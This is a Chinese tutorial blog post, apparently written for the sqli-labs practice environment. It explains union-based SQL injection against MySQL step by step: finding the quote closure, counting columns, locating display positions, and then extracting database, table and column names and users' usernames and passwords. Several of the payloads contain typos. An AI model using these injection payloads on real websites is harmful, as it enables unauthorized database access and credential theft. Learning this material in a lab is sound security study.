SQL注入攻击

目录

原理

常用语句

步骤

1.求闭合

2.求列数

3.求显示位

4.求数据库

5.求表名

6.求列

7.求字段


原理

1.能够传参(不一定是网站前面的接口),且背后的数据库是mysql数据库。

2.web应用程序对用户输入数据(web表单)的合法性没有判断或过滤不严,通过输恶意sql语句到数据库以此来实现欺骗数据库服务器执行非授权的任意查询,从而进一步得到相应的数据信息。。

常用语句

and 用于判断是否哪种闭合

order by 用来求列数

union 用来求显示位

select....form....   从哪里找查

information_schema库的tables表里有所有加其他库表的表名

information_schema库的columns表里有所有加其他列的列名

步骤

1.求闭合

这里以get传参,id为参数为例。

SELECT * FROM users WHERE id=$id LIMIT 0,1  对应整形
SELECT * FROM users WHERE id='$id' LIMIT 0,1   对应字符型

 上面时背后数据库关于参数的真实语句

下面时输入语句

Less-1/?id=1 and 1=2

当1=2报错是则 and没有被当作字符串所以是整形注入,当1=2没报错时则id=1 and 1=2 被作为整个字符串所以是字符型注入,且要继续判断闭合方式。

Less-1/?id=3' and 1=1-- - 
Less-1/?id=3" and 1=1-- - 
Less-1/?id=3') and 1=1-- - 

 哪个不报错就是那种闭合,后门的-- -是用来注释掉多出来的闭合符号

2.求列数

下面以字符型注入为例,且闭合方式为单引号闭合。

Less-3/?id=1'and 1=1 order by +数字 -- -

order by后面的数字是用来判断列数的,若数字大于真实列则会报错,若小于等于真实列则不会报错,由此可以判断此网页的真实列。因为后面的求显示位的union函数则是使用前提就是显示的列要与网页的列相一致。

3.求显示位

ess-1/?id=1'  union select 1,2,3-- -

不断的在上面输入1,2,3数字直到与对应的列数相同为止,例如通过order by求出来的列是3列那就是ess-1/?id=1'  union select 1,2,3-- -若是四个则是ess-1/?id=1'  union select 1,2,3,4-- -然后通过页面反应会把哪个数字显示到页面的哪个位置,那就在这个数字的位置注入恶意sql语句,回显的时候也会在之前回显哪个数字的地方回显信息。

4.求数据库

这里设列有三个,第二位位显示位。

/Less-1/?id=1' and 1=2 union select 1,database(),3-- -

databaes()是sql语句中求当前所在的数据库名,会在原来回显2的地方回显数据库名

5.求表名

/Less-2/?id=-1 union select  1,group_concat(table_name),3
 from information_schema.tables where table_schema=database()-- -

这句话的从(form)information_schema这个库的tables表中找到名为table_name的列并且字段名为要是当前数据库名table_schema=database()。

6.求列

Less-2/?id=-1 union select  1,group_concat(column_name),3
from information_schema.columns where table_schema=database() table_name='users'-- -

这句话的意思是从(select form)nformation_schema数据库的coluums表中找到column_name列

并且这个列是当前数据库内的且表名user的列

7.求字段

/Less-2/?id=-1 union select 1,group_concat(id,username,password).3 from users-- -

这句话的意思是求从users列中求id,username,password字段

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值